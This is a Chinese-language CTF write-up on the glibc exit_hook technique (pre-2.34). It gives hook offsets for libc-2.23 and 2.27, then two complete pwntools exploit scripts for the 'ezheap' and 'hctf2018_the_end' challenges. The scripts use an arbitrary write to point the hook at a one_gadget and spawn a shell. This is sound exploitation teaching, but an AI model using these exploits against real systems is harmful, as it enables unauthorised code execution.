exit_hook函数介绍
使用版本:glibc2.34之前
链子:__run_exit_handlers---> _dl_fini
存在情况通过libc_start_main进入 或者 使用了exit函数
动态调试过程:
我们通过观看_dl_fini的源码来看里面发生了什么:
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those
used for auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
}
__rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));
这两个是并发锁的一个保护 然后调用了这两个rtld_lock_lock_recursive ,rtld_lock_unlock_recursive
我们可以调试看一下这个代码在那里:
_rtld_global
结构体是 glibc 中 RTLD 管理全局状态和信息的一个关键组件
这边的位置和libc是固定的为了方便调试我们可以通过记下不同版本固定偏移:
在libc-2.23中
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848
这样一来,只要知道libc版本和任意地址的写,我们可以直接写这个指针,执行exit后就可以拿到shell了,不执行也可以正常结束也会返回这个
例题分析:
ezheap
静态分析:
sub_4012B6(); (猜数字程序)
srand种子是当前时间 然后通过写同样的脚本绕过判断 到v6会给你输出一个地址,这里要注意size是我们输入的且size为有符号整数这点很重要!
然后主程序就是八字节地址任意写的一个利用,任意传入一个地址 写入一个任意值
思路分析:
通过开始输入的siez为-1将地址映射到libc附近,然后就可以泄露地址 最后再改exit的hook函数为ogg即可拿到shell
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./pwn1"
mx = process(filename)
#mx = remote("node5.anna.nssctf.cn",24071)
elf = ELF(filename)
libc=elf.libc
def guess_random_numbers():
# 获取当前时间并作为种子
current_time = int(time.time())
print(f"Using seed (current time): {current_time}")
# 使用当前时间作为种子来初始化随机数生成器
random.seed(current_time)
# 生成100个随机数并返回它们
guessed_numbers = []
for i in range(100):
generated_number = random.randint(0, 99)
guessed_numbers.append(generated_number)
return guessed_numbers
if __name__ == "__main__":
guessed_numbers = guess_random_numbers()
print("Generated random numbers:")
print(guessed_numbers)
for i in range(100):
rl("Guess a number (0-99): ")
sl(str(guessed_numbers[i]))
dbg()
rl("input size you want to malloc\n")
sl(str(-10))
heap_addr=int(mx.recv(14),16)+ 0x100000ff0
log_addr(heap_addr)
pause()
rl("input address: ")
pause()
ogg=heap_addr+0xe585f
log_addr(ogg)
#0x4f2be 0x4f2c5 0x4f322 0xe5863
exit_hook=heap_addr+ 0x619f60+8
sleep(0.5)
s(p64(exit_hook))
log_addr(exit_hook)
sleep(0.5)
s(p64(ogg))
inter()
hctf2018_the_end
可以看到给了libc然后任意地址写四个字节
具体攻击流程如下
EXP:
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./the_end"
mx = process(filename)
#mx = remote("node5.anna.nssctf.cn",24071)
elf = ELF(filename)
libc=elf.libc
#--------------------------------------------------------
rl("here is a gift ")
libc_addr=int(re(14),16)-0xcc2b0
libc.address=libc_addr
log_addr(libc_addr)
target_addr=libc_addr+3848+0x5f0040
rl("\n")
#ogg
#0x4527a 0xf03a4 0xf1247
dbg()
pause()
ogg=libc_addr+0xf03a4
log_addr(ogg)
for i in range (4):
s(p64(target_addr))
sleep(0.5)
s(p8(ogg&0xff))
target_addr+=1
ogg=ogg>>8
inter()
总结:当打低版本的libc的情况下 可以考虑不走io链,而是打hook函数